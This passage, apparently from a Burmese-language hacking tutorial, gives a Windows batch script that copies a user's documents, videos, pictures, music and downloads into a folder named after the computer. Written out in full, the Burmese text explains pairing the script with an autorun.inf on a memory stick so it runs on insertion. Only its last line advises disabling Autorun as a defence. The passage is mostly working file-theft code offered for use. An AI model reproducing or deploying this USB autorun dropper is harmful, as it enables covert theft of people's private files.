:CHECK
if not exist "%homedrive%\Copied_files" md "%homedrive%\Copied_files"
if exist "%systemdrive%\Documents and Settings" goto COPIER
goto ERROR
:COPIER
if not exist "%homedrive%\Copied_files\%computername%" md "%homedrive%\Copied_files\%computername%"
if not exist "%homedrive%\Copied_files\%computername%\VIDEOS" md "%homedrive%\Copied_files\%computername%\VIDEOS"
if not exist "%homedrive%\Copied_files\%computername%\PICTURES" md "%homedrive%\Copied_files\%computername%\PICTURES"
if not exist "%homedrive%\Copied_files\%computername%\MUSIC" md "%homedrive%\Copied_files\%computername%\MUSIC"
if not exist "%homedrive%\Copied_files\%computername%\DOWNLOADS" md "%homedrive%\Copied_files\%computername%\DOWNLOADS"
copy /y "%userprofile%\My Documents\*.*" "%homedrive%\Copied_files\%computername%"
copy /y "%userprofile%\My Documents\My Videos" "%homedrive%\Copied_files\%computername%\VIDEOS"
copy /y "%userprofile%\My Documents\My Music" "%homedrive%\Copied_files\%computername%\MUSIC"
copy /y "%userprofile%\My Documents\My Pictures" "%homedrive%\Copied_files\%computername%\PICTURES"
copy /y "%userprofile%\My Documents\Downloads" "%homedrive%\Copied_files\%computername%\DOWNLOADS"
MSG %username% "DONE!"
exit
:ERROR
exit
@echo off
အဲေနာက္ copy.bat ဆိုတဲ့နာမည္နဲ႕ save လုပ္မည္ဗ်ာ...
အဲေနာက္ ေနာက္ထပ္တခါ start>all program>accessories>notepad ကိုဖြင့္ပါ.
ျပီးေနာက္ဒီcode ေလးကိုရိုက္ထည့္ပါ။
[autorun]
Open=copy.bat
Action=File Copier
အဲေနာက္ ၎ေရးထားတဲ့ဖိုင္ကို autorun.inf ဆိုတဲ့နာမည္နဲ႕ save လုပ္ပါမယ္..
ျပီးေတာ့ copy.bat ဖိုင္နွင့္ autorun.inf ဖိုင္ႏွစ္ခုကို memory stick ထဲမွာသိမ္းထားပါ..
ထိုဟက္ကင္းနည္းပညာမွကာကြယ္ရန္...အတြက္
Autorun ကို disable လုပ္ေပးပါ....
ေယာင္အဲလင္း
(ဟက္ကင္းနည္းပညာ)